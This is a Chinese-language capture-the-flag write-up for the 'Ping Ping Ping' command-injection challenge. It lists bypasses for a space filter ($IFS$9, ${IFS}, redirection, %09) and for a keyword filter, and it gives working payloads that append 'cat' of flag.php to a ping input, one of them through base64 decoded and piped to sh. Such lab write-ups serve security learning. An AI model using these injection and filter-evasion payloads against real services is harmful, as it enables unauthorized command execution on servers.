平台:
[GXYCTF 2019]Ping Ping Ping | NSSCTF
解题思路:
眼看到题目,就知道是一个远程的rec,我们可以随便Ping 一下
直接 ls 看看,可以看到它对ls,是没有直接的过滤的,那我们可以尝试一下啊,查看一下flag.php
输入:
cat flag.php
失败了,说明它是由对命令进行过滤的,我们还可以试试是什么导致的
当我们直接发送一个空格的时候,它报错了,说明它对空格做了处理,再试试,flag试试
很显然,它对 “ ” 和 “flag” 都进行过滤了
Rec 远程命令执行空格绕过的方法:
< -- 命令的重定性 如 cat<flag.php
<> --重定性 如 cat<>flag.php
%09 --需要php环境,如cat%09flag.php
${IFS}--单纯cat¥IFS2,IFS2就会被bash当作解释器当作变量名输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9 -- 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
我们全部试试
经过测试才发现,只有$IFS$9 这个没有报错,所以应该就是这个可以使用
那么解决了空格问题,还有flag已经被过滤了,我们要怎样才能绕过呢?
我们知道刚刚可以定义变量,那我们定义的变量会不会也是被bash解释器解释呢?
那我们可以大胆一试试,定义变量
a=fl;b=ag
然后构造的payload就是
127.0.0.1|b=ag;a=fl;cat$IFS$9$a$b.php
我们可以发现,虽然是没有报错了,但是我们还是看不到flag
原因就是 我们使用了 “|”
在Linux中“|”管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果),可能是因为,输出的需要,先把ping 输出出来,后面的才能输出
我们把它,换成“;”
127.0.0.1;b=ag;a=fl;cat$IFS$9$a$b.php
NSSCTF{4f3d389b-6cd8-423f-9e44-6fa5906757e0}
第二种方法
我们输入Bash 的时候,发现对Bash 也是有过滤的。
本来可以用bash 的方式 对他进行翻译base64在执行
但是我们发现Sh好像没有被过滤,那我们可以用SH脚本,用echo 的方式,先将要输出的文本转换成为base64,再用sh 的base64转换成 原文输出,进行代码绕过
构造的payload:
127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
得到也是一样的效果